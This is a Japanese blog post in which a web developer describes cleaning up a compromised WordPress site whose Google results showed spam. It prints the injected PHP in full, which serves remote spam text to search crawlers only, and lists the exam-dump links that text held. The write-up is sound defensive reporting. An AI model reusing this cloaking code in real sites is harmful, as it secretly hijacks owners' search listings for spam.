WEB制作

検索結果に表示される内容が間違ってる?検索結果と表示されたサイトが違っている時の対処法

  • このエントリーをはてなブックマークに追加

検索結果に表示される内容が間違ってる?検索結果と表示されたサイトが違っている時の対処法

先日、クライアントの管理しているサイトでGoogle検索結果ページに表示される内容に異常があり、検索結果を表示した先も意図しないページが表示されるというエラーがありました。原因究明と解決方法のまとめ。

目次

  1. #  検索結果の表示がおかしい
  2. #  問題の内容
  3. #  原因の調査
  4. #  対応

検索結果の表示がおかしい

9月は出向案件がありバタバタしておりました。
夜はすっかり涼しくなって、半袖だと寒いぐらいの季節になりました。
気温の変化が激しいので体調に気をつけてお過ごしください。

今回の記事の内容ですが、そんなバタバタの中で起きていました。
問題の内容は次のようなもの。

問題の内容

Googleなどで検索すると検索結果に表示される内容がおかしい。
具体的には「内定塾 名古屋」と検索すると、本来表示される検索結果とは異なるタイトル、ディスクリプション(説明)が表示される。
ただし、ページタイトル下に記載されているドメインは正しい。

おかしな検索結果の例

おかしい検索結果の例

正常な検索結果の例

正常な検索結果の例

本来はこのようにページタイトルが「内定塾名古屋校」と表示されるのが正しい表示です。

原因の調査

サイトファイルを調査したところ、あるファイルに次のようなコードが勝手に挿入されていることを確認。
明らかに不審なコード。

index.php

<?php
if(preg_match('/Google Web Preview|bot|spider|wget/i',$_SERVER['HTTP_USER_AGENT'])){
$ch = curl_init();
$timeout = 5;
curl_setopt ($ch, CURLOPT_URL, 'http://message.vaultpos.com/jingxiangoultlinks/naitei-nagoya.txt');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
echo $file_contents;
}
?>
<?php
if(preg_match('/Google Web Preview|bot|spider|wget/i',$_SERVER['HTTP_USER_AGENT'])){
$ch = curl_init();
$timeout = 5;
curl_setopt ($ch, CURLOPT_URL, 'http://fd.langall.com/xw3.txt');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
echo $file_contents;
}
?>

コードの挙動を大まかに解説すると、Googleの検索ボットがサイトを参照した場合に、外部のテキストファイルを読み込んで参照するようにしているコード。
つまり、このコードによって意図的に検索結果ページに表示する内容を操作していることになります。

ちなみに、外部のテキストファイルには次のようなURLが記載されていました。

読み込まれていたテキストファイルの内容

<a href="http://www.mix-event.com/?exam=GO-70-417-dumps">GO-70-417-dumps</a>
<a href="http://www.mix-event.com/?exam=GO-70-412-dumps">GO-70-412-dumps</a>
<a href="http://www.mix-event.com/?exam=GO-70-532-dumps">GO-70-532-dumps</a>
<a href="http://www.mix-event.com/?exam=GO-70-463-dumps">GO-70-463-dumps</a>
<a href="http://www.mix-event.com/?exam=GO-70-243-dumps">GO-70-243-dumps</a>
<a href="http://www.mix-event.com/?exam=GO-070-489">GO-070-489</a>
<a href="http://www.mix-event.com/?exam=GO-70-488-dumps">GO-70-488-dumps</a>
<a href="http://www.mix-event.com/?exam=GO-70-346-dumps">GO-70-346-dumps</a>
<a href="http://www.mix-event.com/?exam=GO-70-533-dumps">GO-70-533-dumps</a>
<a href="http://www.mix-event.com/?exam=GO-70-534-dumps">GO-70-534-dumps</a>
<a href="http://www.mix-event.com/?exam=GO-70-695-dumps">GO-70-695-dumps</a>
<a href="http://www.mix-event.com/?exam=GO-70-698-dumps">GO-70-698-dumps</a>
<a href="http://www.mix-event.com/">70-488-dumps</a>

これらのリンクには当然見覚えがなく、リンク先のページも海外の全く知らないサイトでした。

気になるファイルの改ざん方法ですが、同じサーバー内の他サイトには影響が無かったため、FTPやSSH情報が漏えいした訳ではなさそう。
となると、疑わしいのはWordPressのログイン情報。
実際にログインパスワードはシンプルなものでした。

WordPressの「外観」にある「テーマの編集」からファイルを編集された可能性が一番高い。

対応

まずは疑わしいWordPressのログインパスワードを変更するところから。
クライアントに事前に変更する旨を伝え、パスワードを複雑なものへ変更。

その後、改ざんされたファイル修復作業。
上記の追記されていたコードを削除します。

ファイルの更新日から他に更新されたファイルがないか確認したところ、今回は幸いにも1ファイルのみでした。

ファイル修復が完了したら、検索結果にできるだけ速く反映されるように「SearchConsole」からサイトマップを送信。
修復ファイルの編集日を最新の日付にしてから、SearchConsoleの左メニュー「クロール」より「サイトマップ」を選択し、送信します。
あとは反映されるのを待ちます。

作業してから半日後

ここまでの作業をしてから待つこと半日程度。
検索結果が正常に戻りました
思っていたよりも早く正常に復帰でき一安心。

今後もファイルが勝手に改ざんされる可能性が無いとは言い切れないため、一旦は様子見です。

以上、不審なファイル改ざんの事象確認と解決方法でした。
今回のような明らかに悪意ある問題が起こる度に、セキュリティ意識の大切さを思い出します。
WordPressのログイン情報もしっかり考えなければ、いつ攻撃対象となっても不思議ではありません。

余談ですが、クライアントに誰かにWordPressやFTPのログイン情報を共有したか確認してみたところ、とある広告会社に共有していたそうです。
問題はその後に発生したとか。
そこから情報が漏れている可能性もあるため、ログイン情報などの機密情報は気軽に渡すと怖いなぁ…と思うのでした。

セキュリティに対する基本的なことを包括的に知っておきたい方は「小さな会社のIT担当者のためのセキュリティの常識」が読み易くオススメ。
上記のようなWordPressのログイン情報云々は直接的には書いてありませんが、ITセキュリティの基礎的なリテラシーが分かります。

  • このエントリーをはてなブックマークに追加